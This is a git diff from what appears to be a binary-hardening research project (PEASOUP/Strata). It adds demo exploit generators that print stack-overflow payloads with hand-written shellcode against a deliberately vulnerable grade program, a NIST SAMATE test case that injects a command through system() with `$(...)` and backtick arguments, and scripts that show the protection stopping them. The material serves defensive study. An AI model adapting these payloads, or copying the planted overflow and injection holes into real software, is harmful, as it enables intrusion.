+#include <string.h>
+                                      /* stack location address */
+char attackString[] =
+    "Ja"		   /* 0xbfffefa6 */ /* Name: 0x80c80c0 */
+    "ck D"                 /* 0xbfffefa8 */ /* Name: 0x80c80c2 */
+    "avid"                 /* 0xbfffefac */ /* Name: 0x80c80c6 */
+    "son\x00"              /* 0xbfffefb0 */ /* Name: 0x80c80ca */
+    "\xc6\x05\x08\x60"     /* 0xbfffefb4 */ /* Name: 0x80c80ce */ /* movb $0x41,0x080c6008 addr of grade */
+    "\x0c\x08\x41\x90"     /* 0xbfffefb8 */ /* nop is \x90 */ 
+    "\x68\xf7\x82\x04"     /* 0xbfffefbc */ /* op 68 is push ret addr 0x080482f7 */
+    "\x08\x90\xc3\x3e"     /* 0xbfffefc0 */	/* nop is \x90; c3 is ret inst */ 
+    "\x20\x20\x20\x20"     /* 0xbfffefc4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefc8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefcc */
+    "\x20\x20\x20\x20"     /* 0xbfffefd0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefdc */
+    "\x20\x20\x20\x20"     /* 0xbfffefe0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefec */
+    "\x20\x20\x20\x20"     /* 0xbfffeff0 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff4 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff8 */
+    "\x20\x20\x20\x20"     /* 0xbfffeffc */
+    "\x20\x20\x20\x20"     /* 0xbffff000 */
+    "\x20\x20\x20\x20"     /* 0xbffff004 */
+    "\x62\x00\x00\x00"     /* 0xbffff008 */	/* i here */
+    "\x20\x20\x20\x20"     /* 0xbffff00c */ 	/* c here */
+    "\x20\x20\x20\x20"     /* 0xbffff010 */
+    "\x20\x20\x20\x20"     /* 0xbffff014 */
+    "\x38\xf0\xff\xbf"     /* 0xbffff018 */	/* ebp  aka frame ptr */
+    "\xce\x80\x0c\x08"     /* 0xbffff01c */	/* return address should b
+							the addr of Name 
+							where injection code is
+							0x80c80ce */
+    "\xc0\x80\x0c\x08"     /* 0xbffff020 */ 	/* address of Name */ 
+    "\x0a\x0a\x0a\x0a" ;    /* 0xbffff024 */
+/* The key to the attack is to change the return address (located on the
+   stack at address 0x22cc7c as indicated in the above picture to
+   point to the code location in main where the grade is set to a "B".
+   However, it is also important for the buffer overrun to preserve the
+   frame pointer and the address of grade on the stack (grade is passed and s
+   points to it
+*/
+
+
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeB.no_strata.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeB.no_strata.c
new file mode 100644
index 0000000000000000000000000000000000000000..799646630e86d53e854c28f52c56cf9dc1279aa5
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-gradeB.no_strata.c
@@ -0,0 +1,47 @@
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] = "Ja"                   /* 0x0bfffefa6 */
+                      "ck D"                 /* 0x0bfffefa8 */
+                      "avid"                 /* 0x0bfffefac */
+                      "son\x00"              /* 0x0bfffefb0 */
+                      "\xc6\x05\x20\x20"     /* 0x0bfffefb4 */ 
+		      "\x40\x20\x41\x90"     /* 0x0bfffefb8 */
+                      "\x68\x33\x11\x40"     /* 0x0bfffefbc */
+                      "\x00\x90\xc3\x3e"     /* 0x0bfffefc0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefc4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefc8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefcc */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefd8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefdc */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefe8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffefec */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff0 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff4 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeff8 */
+                      "\x20\x20\x20\x20"     /* 0x0bfffeffc */
+                      "\x20\x20\x20\x20"     /* 0x0bffff000 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff004 */
+                      "\x62\x00\x00\x00"     /* 0x0bffff008 */  /* i here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff00c */  /* c here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff010 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff014 */
+                      "\x38\xf0\xff\xbf"     /* 0x0bffff018 */  /* ebp */
+                      "\xfd\x82\x04\x08"     /* 0x0bffff01c */ /*  return addr */
+                      "\xc0\x80\x0c\x08"     /* 0x0bffff020 */ /* addr Name */ 
+                      "\x0a\x0a\x0a\x0a"     /* 0x0bffff024 */
+                      "\x0a\x0a\x0a\x0a";    /* 0x0bffff028 */
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
+
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_parm1.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_parm1.c
new file mode 100644
index 0000000000000000000000000000000000000000..8731e83dd94128cb79c5bff647c3460475a23a0d
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_parm1.c
@@ -0,0 +1,62 @@
+/* This attack generator attempts to overwrite the first parameter to 
+ * readString with the address of one strata variable, strata_tracing 
+ *  Then when the copying of the buffer to the parameter is carried out,
+ *  the value of strata_tracing can be changed to 1.
+ *
+ * strata_tracing is laid out next to the TI struct. 
+ * For the program not to crash, 
+ * the attack must preserve all the bytes of TI that might be overwritten.
+ * This means that the first 98 bytes (BUFSIZE) of the attackString should
+ * match the memory starting from strata_tracing, with the exception of the
+ * changed value of strata_tracing that is desired.
+
+ */
+
+#include <stdio.h>
+#include <string.h>
+                                      /* stack location address */
+char attackString[] = "\x01\x00"                   /* 0x0bfffefa6 */
+                      "\x00\x00\x00\x00"                 /* 0x0bfffefa8 */
+                      "\x00\x00\x00\x00"                 /* 0x0bfffefac */
+                      "\x00\x00\x00\x00"              /* 0x0bfffefb0 */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefb4 */ 
+		      "\x00\x00\x00\x00"     /* 0x0bfffefb8 */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefbc */
+                      "\x00\x00\x00\x00"     /* 0x0bfffefc0 */
+                      "\x00\x00\xd2\x27"     /* 0x0bfffefc4 */
+                      "\x25\x09\x55\x12"     /* 0x0bfffefc8 */
+                      "\x0d\x09\xfc\x27"     /* 0x0bfffefcc */
+                      "\x25\x09\xb9\x67"     /* 0x0bfffefd0 */
+                      "\x25\x09\x2e\x49"     /* 0x0bfffefd4 */
+                      "\x25\x09\x7c\x51"     /* 0x0bfffefd8 */
+                      "\x25\x09\x6e\x53"     /* 0x0bfffefdc */
+                      "\x25\x09\x84\x5a"     /* 0x0bfffefe0 */
+                      "\x25\x09\x10\xf6"     /* 0x0bfffefe4 */
+                      "\x25\x09\xd9\x2c"     /* 0x0bfffefe8 */
+                      "\x25\x09\xe3\x67"     /* 0x0bfffefec */
+                      "\x25\x09\xf0\xd1"     /* 0x0bfffeff0 */
+                      "\x25\x09\x30\x9d"     /* 0x0bfffeff4 */
+                      "\x25\x09\xb4\x67"     /* 0x0bfffeff8 */
+                      "\x25\x09\xff\x95"     /* 0x0bfffeffc */
+                      "\x25\x09\x98\x18"     /* 0x0bffff000 */
+                      "\x25\x09\x8e\x67"     /* 0x0bffff004 */
+                      "\x62\x00\x00\x00"     /* 0x0bffff008 */  /* i here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff00c */  /* c here */
+                      "\x20\x20\x20\x20"     /* 0x0bffff010 */
+                      "\x20\x20\x20\x20"     /* 0x0bffff014 */
+                      "\x38\xf0\xff\xbf"     /* 0x0bffff018 */  /* ebp */
+                      "\xfd\x82\x04\x08"     /* 0x0bffff01c */ /*  return addr */
+                      "\x00\xe2\x33\x09"     /* 0x0bffff020 */ 
+				/* addr of parm 1, changed to addr of strata_tracing */ 
+                      "\x0a\x0a\x0a\x0a"     /* 0x0bffff024 */
+                      "\x0a\x0a\x0a\x0a";    /* 0x0bffff028 */
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
+
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_tracing.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_tracing.c
new file mode 100755
index 0000000000000000000000000000000000000000..82605289267e12b06a36299f226b3307dc77eebd
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/attack-strata_tracing.c
@@ -0,0 +1,64 @@
+#include <stdio.h>
+#include <string.h>
+
+/* This attack generator crafts a code injection attack which 
+ *	changes one of Strata's memory locations.  In this instance
+ *	strata_tracing will be changed to a value of 1
+ *	which will turn on tracing output
+ */ 
+                                      /* stack location address */
+char attackString[] =
+    "Ja"		   /* 0xbfffefa6 */ /* Name: 0x80c80c0 */
+    "ck D"                 /* 0xbfffefa8 */ /* Name: 0x80c80c2 */
+    "avid"                 /* 0xbfffefac */ /* Name: 0x80c80c6 */
+    "son\x00"              /* 0xbfffefb0 */ /* Name: 0x80c80ca */
+    "\xc6\x05\x00\xe2"     /* 0xbfffefb4 */ /* Name: 0x80c80ce */ /* movb 0x1,0x0x0933e200 address of strata_tracing */
+    "\x33\x09\x01\x90"     /* 0xbfffefb8 */ /* nop is \x90 */ 
+    "\x68\xf7\x82\x04"     /* 0xbfffefbc */ /* op 68 is push ret addr 0x080482f7 */
+    "\x08\x90\xc3\x3e"     /* 0xbfffefc0 */	/* nop is \x90; c3 is ret inst */ 
+    "\x20\x20\x20\x20"     /* 0xbfffefc4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefc8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefcc */
+    "\x20\x20\x20\x20"     /* 0xbfffefd0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefd8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefdc */
+    "\x20\x20\x20\x20"     /* 0xbfffefe0 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe4 */
+    "\x20\x20\x20\x20"     /* 0xbfffefe8 */
+    "\x20\x20\x20\x20"     /* 0xbfffefec */
+    "\x20\x20\x20\x20"     /* 0xbfffeff0 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff4 */
+    "\x20\x20\x20\x20"     /* 0xbfffeff8 */
+    "\x20\x20\x20\x20"     /* 0xbfffeffc */
+    "\x20\x20\x20\x20"     /* 0xbffff000 */
+    "\x20\x20\x20\x20"     /* 0xbffff004 */
+    "\x62\x00\x00\x00"     /* 0xbffff008 */	/* i here */
+    "\x20\x20\x20\x20"     /* 0xbffff00c */ 	/* c here */
+    "\x20\x20\x20\x20"     /* 0xbffff010 */
+    "\x20\x20\x20\x20"     /* 0xbffff014 */
+    "\x38\xf0\xff\xbf"     /* 0xbffff018 */	/* ebp  aka frame ptr */
+    "\xce\x80\x0c\x08"     /* 0xbffff01c */	/* return address should b
+							the addr of Name 
+							where injection code is
+							0x80c80ce */
+    "\xc0\x80\x0c\x08"     /* 0xbffff020 */ 	/* address of Name */ 
+    "\x0a\x0a\x0a\x0a" ;    /* 0xbffff024 */
+/* The key to the attack is to change the return address (located on the
+   stack at address 0x22cc7c as indicated in the above picture to
+   point to the code location in main where the grade is set to a "B".
+   However, it is also important for the buffer overrun to preserve the
+   frame pointer and the address of grade on the stack (grade is passed and s
+   points to it
+*/
+
+
+int main() {
+   int i;
+   char *p = attackString;
+   for (i = 0; i < sizeof(attackString); i++) {
+      putchar(*p);
+      p++;
+   }
+   return 1;
+}
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badA.txt b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badA.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2103f665448a25c644bb81f462b2bcc0a490453c
Binary files /dev/null and b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badA.txt differ
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badB.txt b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badB.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c3520ece5ad8b805d5f40c78ee09bfd1c0f002e1
Binary files /dev/null and b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.exploits/badB.txt differ
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore.good_inputs/good.txt b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.good_inputs/good.txt
new file mode 100644
index 0000000000000000000000000000000000000000..eeae9c63ea9573190317c06a11a25f45d71bc738
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore.good_inputs/good.txt
@@ -0,0 +1 @@
+Jack Davidson
diff --git a/peasoup_examples/demos/demo.jan_21_2011/dumbledore_cmd.c b/peasoup_examples/demos/demo.jan_21_2011/dumbledore_cmd.c
new file mode 100644
index 0000000000000000000000000000000000000000..7aff3c7e9b440b4a18f43699b5f5fc713d24c4a1
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/dumbledore_cmd.c
@@ -0,0 +1,44 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 24};
+
+char grade = 'D';
+char Name[BUFSIZE];
+
+void readString(char *in, char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = in[i];
+      if ((c == '\0') || (c == '\n')) 
+         break;
+
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(int argc, char * argv[])
+{
+   if (argc == 2)
+      readString(argv[1], Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   return 0;
+}
diff --git a/peasoup_examples/demos/demo.jan_21_2011/gdb.demo.script b/peasoup_examples/demos/demo.jan_21_2011/gdb.demo.script
new file mode 100644
index 0000000000000000000000000000000000000000..46c581897b18f3d455a1b4dd151ae2d7d3aefe2c
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/gdb.demo.script
@@ -0,0 +1,21 @@
+# Author: Michele Co, mc2zk@virginia.edu
+# This is a script for running the gdb portion of the demo
+# run on the code injection input
+# invoked on gdb commandline by run_gdb.sh
+
+# load the symbol file
+symbol-file stratafier.o.exe
+
+# add a bp for confined_targ_fetch
+b confined_targ_fetch
+
+# the condition should be where the code injection starts
+cond 1 PC==0x80c80ce
+
+# clear the screen using the shell command: clear
+shell clear
+
+# list the function confined_targ_fetch() for the audience to see
+list confined_targ_fetch
+list
+list 
diff --git a/peasoup_examples/demos/demo.jan_21_2011/ps_demo.sh b/peasoup_examples/demos/demo.jan_21_2011/ps_demo.sh
new file mode 100755
index 0000000000000000000000000000000000000000..8a6ed6d163a8801fa15270866a596c3aa6e63b6e
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/ps_demo.sh
@@ -0,0 +1,156 @@
+#!/bin/sh
+
+if [ "${PEASOUP_HOME}x" = "x" ]; then
+	echo "environment variable: PEASOUP_HOME is empty."
+	echo "PEASOUP_HOME must be defined to point at a valid peasoup_examples directory"
+	exit 1
+fi
+
+if [ "${STRATA}x" = "x" ]; then
+	echo "environment variable: STRATA is empty. "
+	echo "STRATA must be defined to point at a valid Strata security branch"
+	exit 1
+fi
+
+# if the executable hasn't been built, then build it!
+if [ ! -f dumbledore.original ]; then
+	make
+fi
+
+TOOLBASE=${PEASOUP_HOME}/tools
+
+# A pause function
+Pause()
+{
+	key=""
+	echo -n "\nPress any key to continue...\n"
+	echo
+	stty -icanon
+	key=`dd count=1 2>/dev/null`
+	stty icanon
+}
+
+# N.B. - Assumes that dumbledore.original has already been built.
+# clear the screen
+clear
+# 1) Run dumbledore_cmd.original with good input
+echo "Running dumbledore.original with a good input\n"
+good_input=`cat dumbledore.good_inputs/good.txt`
+echo "Input: ${good_input}\n"
+
+echo "./dumbledore.original < dumbledore.good_inputs/good.txt\n"
+
+Pause
+
+./dumbledore.original  < dumbledore.good_inputs/good.txt
+
+Pause
+
+# clear the screen
+clear
+
+# 2) Run dumbledore_cmd.original with a bad input that PEASOUP can catch
+#	input is too long and overwrites return address and base pointer
+
+echo "Running dumbledore.original with a bad input which performs code injection. \n"
+
+bad_input=`cat dumbledore.exploits/badA.txt`
+echo "Input: ${bad_input}\n"
+echo "./dumbledore.original < dumbledore.exploits/badA.txt\n"
+
+Pause
+
+./dumbledore.original < dumbledore.exploits/badA.txt
+
+Pause
+
+# 3) Run ps_analyze.sh dumbledore_cmd.original dumbledore_cmd.protected
+#	Point out IDA pass
+#	Point out GraCE run
+
+# clear the screen
+clear
+echo "Running PEASOUP analysis phase...\n"
+echo "${TOOLBASE}/ps_analyze.sh dumbledore_cmd.original dumbledore_cmd.protected\n"
+
+Pause
+
+#${TOOLBASE}/ps_analyze.sh dumbledore_cmd.original dumbledore_cmd.protected
+
+# NOTE:  Trying to save time on demo by using intermediate build objects
+./demo_analyze.sh
+
+
+Pause
+
+clear
+echo "GraCE finds interesting test input which causes infinite loop\n"
+echo "Input: \340^A@@^F*nj^B^D.^Az^\b^H^A^BB^B^P^Z^F ^P"
+
+echo
+Pause
+
+# test the infinite looping input
+sh test_infinite.sh
+
+Pause
+# clear the screen
+clear
+
+# 4) Run dumbledore.protected on good input
+echo "Running dumbledore.protected on good input\n"
+echo "Input: ${good_input}\n"
+echo "./dumbledore.protected < dumbledore.good_inputs/good.txt\n"
+
+Pause
+
+./dumbledore.protected < dumbledore.good_inputs/good.txt
+
+Pause
+
+# clear the screen
+clear
+# 5) Run dumbledore.protected on bad input A, show defeat of exploit
+echo "Running dumbledore.protected on bad input which performs code injection\n"
+
+input=`cat dumbledore.exploits/badA.txt`
+echo "Input: ${bad_input}\n"
+echo "./dumbledore.protected < dumbledore.exploits/badA.txt\n"
+
+Pause
+
+./dumbledore.protected < dumbledore.exploits/badA.txt
+
+Pause
+
+# 6) Demonstrate add_pc_confinement.sh
+# add_pc_confinement.sh needs to have a second copy of the exe for some reason
+cp dumbledore.original tmp
+
+# clear the screen
+clear
+echo "Program shepherding.  Adding confinement information to the binary.\n"
+bash ${STRATA}/tools/pc_confinement/add_confinement_section.sh dumbledore.original tmp | egrep -v EOF
+
+echo
+echo
+
+#Pause
+
+#clear
+#echo "GDB step through...."
+# 7) Run dumbledore.protected in gdb with bad input with bp set at confined_targ_fetch(), fetching a good instruction, and show it when catching the bad instruction.
+
+
+#Pause
+#clear
+
+# 8) Run dumbledore.protected on bad input #2, show that we did not defeat the exploit
+#echo "Running dumbledore.protected with arc injection attack input\n"
+#badBinput=`cat dumbledore.exploits/badB.txt`
+#echo "Input: $badBinput\n\n"
+
+#Pause
+
+#./dumbledore.protected < dumbledore.exploits/badB.txt
+
diff --git a/peasoup_examples/demos/demo.jan_21_2011/run_gdb.sh b/peasoup_examples/demos/demo.jan_21_2011/run_gdb.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5a44e929d4cb4459c4e65f67a3f5c96d763101da
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/run_gdb.sh
@@ -0,0 +1,11 @@
+#!/bin/sh
+
+# This script will invoke gdb on dumbledore.protected with a gdb script file 
+# 
+
+# Change to appropriate directory
+curdir=$PWD
+cd $1
+STRATA_ANNOT_FILE=a.ncexe.annot STRATA_PC_CONFINE=1 gdb -command ../gdb.demo.script a.stratafied
+
+cd ${curdir}
diff --git a/peasoup_examples/demos/demo.jan_21_2011/test_infinite.sh b/peasoup_examples/demos/demo.jan_21_2011/test_infinite.sh
new file mode 100644
index 0000000000000000000000000000000000000000..591f0138729ae0c1e21cdc55eac270afb7d0a074
--- /dev/null
+++ b/peasoup_examples/demos/demo.jan_21_2011/test_infinite.sh
@@ -0,0 +1,9 @@
+#!/bin/sh
+
+echo "Invoking dumbledore_cmd.original with GraCE's suggested input.\n"
+
+echo "./dumbledore_cmd.original \"\`cat dumbledore.exploits/grace_infinite.txt \`\"\n"
+
+ulimit -t 20 
+./dumbledore_cmd.original "`cat dumbledore.exploits/grace_infinite.txt`"
+
diff --git a/peasoup_examples/dyna_examples/000.c b/peasoup_examples/dyna_examples/000.c
new file mode 100644
index 0000000000000000000000000000000000000000..380fc838b29363b081996c9757fc6f21e3fa960b
--- /dev/null
+++ b/peasoup_examples/dyna_examples/000.c
@@ -0,0 +1,67 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/Makefile b/peasoup_examples/dyna_examples/Makefile
new file mode 100644
index 0000000000000000000000000000000000000000..6372159e8643e4d35c97cefa2b9dae3cb82ac543
--- /dev/null
+++ b/peasoup_examples/dyna_examples/Makefile
@@ -0,0 +1,77 @@
+
+
+
+
+CC=gcc
+CXX=g++
+CFLAGS=-O -w -fno-stack-protector
+CXXFLAGS=-O -w
+LD=gcc
+LDFLAGS=
+
+.SUFFIXES: .o .c .cpp .stock .protected
+
+exes=hanoi.protected hanoi_overrun.protected hanoi_heap_overrun.protected hanoi_stack_overrun.protected print_ptr.protected malloc.protected block_copy.protected hello.protected hanoi_overrun_tainted.protected hanoi_overrun_taintedenv.protected memcpy.protected cmd_args_005.protected dumbledore_stdin.protected dumbledore_cmd.protected dumbledore_file.protected 000.protected long.protected bad_purify.protected dumble_dll.protected
+
+all: env_check  ${exes}
+
+
+
+.PHONY: env_check 
+
+
+.o.stock:
+	${LD} ${LDFLAGS} $< -o $@ 
+
+.stock.protected:
+	${PEASOUP_HOME}/tools/ps_analyze.sh  $< $@ 
+
+.c.o:
+	${PEASOUP_HOME}/tools/ps_comp.sh $< 
+	${CC} ${CFLAGS} -c $< 
+
+.cpp.o:
+	${CXX} ${CXXFLAGS} -c $< 
+
+chopzero:
+	@ if [ ! -f chopzero ]; then gcc chopzero.c -o chopzero -O3 ; fi
+
+$(exes): ${STRATA}/lib/libstrata.a
+
+
+
+env_check:
+	@echo checking env vars; \
+	if [ "X${TOOLCHAIN}" = "X" ]; then \
+		echo TOOLCHAIN environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA}" = "X" ]; then \
+		echo STRATA environment variable should be set. ;\
+		exit -1;\
+ 	elif [ "X${SMPSA_HOME}" = "X" ]; then \
+		echo SMPSA_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${PEASOUP_HOME}" = "X" ]; then \
+		echo PEASOUP_HOME environment variable should be set.; \
+		exit -1;\
+ 	elif [ "X${STRATA_HOME}" = "X" ]; then \
+		echo STRATA_HOME environment variable should be set.; \
+		exit -1;\
+	fi ; 
+
+
+clean:
+	rm -f *.o *.syms *.map chopzero hanoi hanoi_overrun hanoi_heap_overrun malloc block_copy print_ptr hanoi_stack_overrun dumbledore a.out memcpy hanoi_overrun_taintedenv dumbledore_cmd hanoi_overrun_tainted hello cmd_args_005
+	rm -f *.exe *.dis *.data *.idb *.log *.ncexe *.annot *.readelf temp.* *.temp *.stratafied *.asm *.SMPobjdump *.id0 *.id1 *.til *.nam *.stock *.protected
+	rm -Rf concolic.files_*
+	rm -Rf peasoup_executable_directory.*
+	rm -f strata.log.*
+	rm -f *.sym
+	if [ ! "X" = "X"${PGUSER} ]; then sh ../tools/db/drop_my_tables.sh; sh ../tools/db/pdb_setup.sh || true; fi
+
+concclean:
+	rm -Rf concolic.files_*
+	rm strata.log.*
+
+dumble_dll.stock: dumble_dll.c
+	gcc dumble_dll.c -g -shared -fPIC -Wl,-e,main -o dumble_dll.stock
diff --git a/peasoup_examples/dyna_examples/bad_purify.c b/peasoup_examples/dyna_examples/bad_purify.c
new file mode 100644
index 0000000000000000000000000000000000000000..4b2497111964d2e0962274d0d0cb8a65fc2b87c5
--- /dev/null
+++ b/peasoup_examples/dyna_examples/bad_purify.c
@@ -0,0 +1,69 @@
+/*
+@TEST_SCRIPT ./runprog.sh
+
+@GOOD_ARGS_1 "Makefile"
+@NORMAL_OUTPUT_CONTAINS_1 -rw
+
+@GOOD_ARGS_2 "-a"
+@NORMAL_EXIT_CODE_2 1
+
+@GOOD_ARGS_3 "Makefile;uname"
+@NORMAL_EXIT_CODE_3 1
+
+@BAD_ARGS_1 "\$(printf \$BADCOMMAND)a"
+@ATTACK_SUCCEEDED_OUTPUT_CONTAINS_1 \.\.
+
+@BAD_ARGS_2 "\`printf \$BADCOMMAND\`a"
+@ATTACK_SUCCEEDED_OUTPUT_CONTAINS_2 \.\.
+
+
+*/
+/* This software was developed at the National Institute of Standards and
+ * Technology by employees of the Federal Government in the course of their
+ * official duties. Pursuant to title 17 Section 105 of the United States
+ * Code this software is not subject to copyright protection and is in the
+ * public domain. NIST assumes no responsibility whatsoever for its use by
+ * other parties, and makes no guarantees, expressed or implied, about its
+ * quality, reliability, or any other characteristic.
+
+ * We would appreciate acknowledgement if the software is used.
+ * The SAMATE project website is: http://samate.nist.gov
+*/
+
+#include <string.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <stdbool.h>
+
+/*
+	One of the most basic filtering, remove the ';' and '-'
+*/
+void purify(char *__buff)
+{
+	char buf[512]="";
+	char *c = __buff, *b = buf;
+	for (;*c != '\0';c++)
+	{
+			while (*c == ';' || (*c=='-' && *(c+1)!=' ' && *(c+1)!='l') ) c++;
+			*b++ = *c;
+	}
+	strncpy(__buff, buf, 512);
+}
+
+
+int main(int argc, char *argv[]){
+
+	char sys[512]="/bin/ls -l ";
+	strncat(sys,argv[1],500);	
+
+	printf("prepur: %s\n",sys);
+	purify(sys);
+	printf("pospur: %s\n",sys);
+
+        if (0 != (system(sys))){
+               printf ("System command failed \n");	
+	      exit(1);
+        }
+
+	exit(0);
+}
diff --git a/peasoup_examples/dyna_examples/block_copy.c b/peasoup_examples/dyna_examples/block_copy.c
new file mode 100644
index 0000000000000000000000000000000000000000..5bd8c97bed4e460e36b94f8036a6b92ed25230bf
--- /dev/null
+++ b/peasoup_examples/dyna_examples/block_copy.c
@@ -0,0 +1,46 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+
+int block_copy(char* dst, char* src, int len)
+{
+
+	while(len-- > 0)
+	{
+		*dst++=*src++;
+	}
+	
+}
+
+int k=0;
+int main (int argc, char **argv) 
+{ 
+
+	int **i, **j;
+
+
+	i=malloc(4);
+	j=malloc(4);
+
+	*i=&k;
+	
+	block_copy((char*)j,(char*)i,4);
+
+
+	**j=1;
+
+	printf("k=%d\n", k);
+
+
+
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/cmd_args_005.c b/peasoup_examples/dyna_examples/cmd_args_005.c
new file mode 100644
index 0000000000000000000000000000000000000000..934fd9979033eadc263eb22d8c770dbc03e179e4
